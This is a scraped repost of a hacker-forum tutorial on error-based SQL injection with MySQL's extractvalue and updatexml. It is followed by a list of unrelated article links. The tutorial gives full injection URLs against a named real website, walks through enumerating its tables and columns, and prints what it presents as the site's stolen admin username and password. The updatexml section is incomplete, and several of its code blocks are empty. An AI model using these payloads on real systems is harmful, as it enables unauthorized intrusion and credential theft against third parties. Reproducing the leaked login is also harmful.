Xpath SQL Injection
来源:互联网 发布:上海市gis数据 下载 编辑:程序博客网 时间:2024/06/05 19:10
http://www.4shell.org/
So a few XPath Injection tutorials have been getting posted, and since I haven't seen much info on the updatexml method, I'd thought I'd make a quick tutorial for it.Now I'll be going over both methods just for the sake of adding it to my mega-thread.
Extract Value
I'll be using this site as an example.
Version (ExtractValue)
This will return our XPATH Syntax error, and give us our version.
This is what my link looks like.
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,version()))--
You should get your version.
Getting The Tables (Extract Value)
Code:+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema. tables+where+table_schema=database()+limit+0,1)))--
My link looks like this.
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from +information_schema.tables+where+table_schema=database()+limit+0,1)))--
So lets load it up and see if we get our first table name!
Code:
XPATH syntax error: '~pdigclicks'
Woot it worked! Now we just increment in our limit statement until we find our table we want columns from.
Code:
XPATH syntax error: '~pdigengine'
(#‵′)凸
We want users or admin..
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from +information_schema.tables+where+table_schema=database()+limit+[b]2[/b],1)))--
Code:
XPATH syntax error: '~pdigexcludes'
Woot, now let's get the columns.
Getting The Columns (ExtractValue)
First off, we want to convert our table name to hex.
My table name was tbladmin.
Whenever you convert something to hex, you add 0x in front of it.
It tells the site to read the hex value.
The hex of tbladmin is 74626c61646d696e
So it should look like this.
Code:0x74626c61646d696e
Now to get our columns, we change our syntax a bit, but it's still generally the same idea.
Code:+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema .columns+where+table_name=0xTABLE_HEX+limit+0,1)))--]
Of course, replace TABLE_HEX with the hex value of your table name.
My link looks like this.
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+column_name+fro m+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1)))--
Now use increment in your limit statement until you find the columns you want.
Getting Data Out of Columns (ExtractValue)
Now that you've got your column names, you're going to want to put them in a concat statement.
Code:+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+TABLENAME+limit+0,1)))--
My columns I wanted were username and password, the 0x7e is the hex value of "~" which I'll use as a seperator.
My link looks like this.
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+concat(username ,0x7e,password)+from+tbladmin+limit+0,1)))--
And as you can see, we get our XPath error with the admin login.
Code:XPATH syntax error: '~ishir~ishir123'
UpdateXML
Getting The Version (UpdateXML)
My link looks like this..
We get our XPATH Error that returns the version.
Code:
Getting The Tables (UpdateXML)
My link looks like this..
Code:
Now we know our first table is called pdigclicks. Let's see what else is in here....
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+ from+information_schema.tables+where+table_schema=database()+limit+1,1))),0)--
For the sake of time, I know the table name I want is tbladmin.
Code:leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+ from+information_schema.tables+where+table_schema=database()+limit+10,1))),0)--
And there's our table.
Code:
Now let's get the columns from the table.
Getting Columns (UpdateXML)
Now it's the same idea, we just change the tables to columns, from the table name.
Now my table name was tbladmin, so I convert that to hex and get 74626c61646d696e
My link looks like this.
Getting Data (UpdateXML)
Now once you've got your columns, concatenate them and get the from the table you want.
Code:
My link looks like this..
Code:
相关文章
- Xpath SQL Injection
- XPATH Injection
- XPATH Injection
- 【常见Web应用安全问题】---13、Blind SQL/XPath injection
- Blind XPath Injection
- SQL Injection
- SQL injection
- sql injection
- SQL Injection
- sql injection
- sql Injection
- sql injection
- sql injection
- SQL injection
- SQL injection
- SQL Injection
- SQL Injection
- SQL Injection
- 工作的态度001
- 在Android定义全局变量
- 教你通过修改配置文件让你的GPS导航仪提高搜星速率
- 01线程是一个程序里不同的执行路径
- 最全小布老师所有视频推荐--oracle视频资料库
- Xpath SQL Injection
- GestureDetector.OnGestureListener 触摸手势用法
- 最舒服的颜色搭配值,很有用哦,特别是做设计的!!
- List通过DataGroup获取ItemRenderer
- linux上搭建iOS开发环境
- Oracle 中文乱码
- XCode中Categories的类出现无法识别函数的问题的解决办法
- 在使用MFC时出现mfc42d.dll丢失的问题
- soapui简单介绍